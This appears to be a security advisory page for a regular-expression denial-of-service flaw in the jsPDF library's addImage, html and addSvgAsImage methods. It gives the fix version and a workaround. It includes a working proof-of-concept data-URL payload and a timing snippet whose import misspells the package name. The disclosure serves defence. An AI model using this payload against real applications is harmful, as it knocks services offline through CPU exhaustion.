GHSA-w532-jxjh-hjhj
jsPDF Bypass Regular Expression Denial of Service (ReDoS)
Quick fix
GHSA-w532-jxjh-hjhj — jspdf: upgrade to the fixed version with the command below.
npm install jspdf@3.0.1Details
### Impact User control of the first argument of the `addImage` method results in CPU utilization and denial of service.
If given the possibility to pass unsanitized image urls to the `addImage` method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.
Other affected methods are: `html`, `addSvgAsImage`.
Example payload: ```js import { jsPDF } from "jpsdf"
const doc = new jsPDF(); const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined';
const startTime = performance.now()
try { doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW"); } catch (err) { const endTime = performance.now() console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`) }
doc.save("a4.pdf"); ```
### Patches The vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1
### Workarounds Sanitize image urls before passing it to the `addImage` method or one of the other affected methods.
### Credits Researcher: Aleksey Solovev (Positive Technologies)
Are you affected?
Enter the version of the package you're using.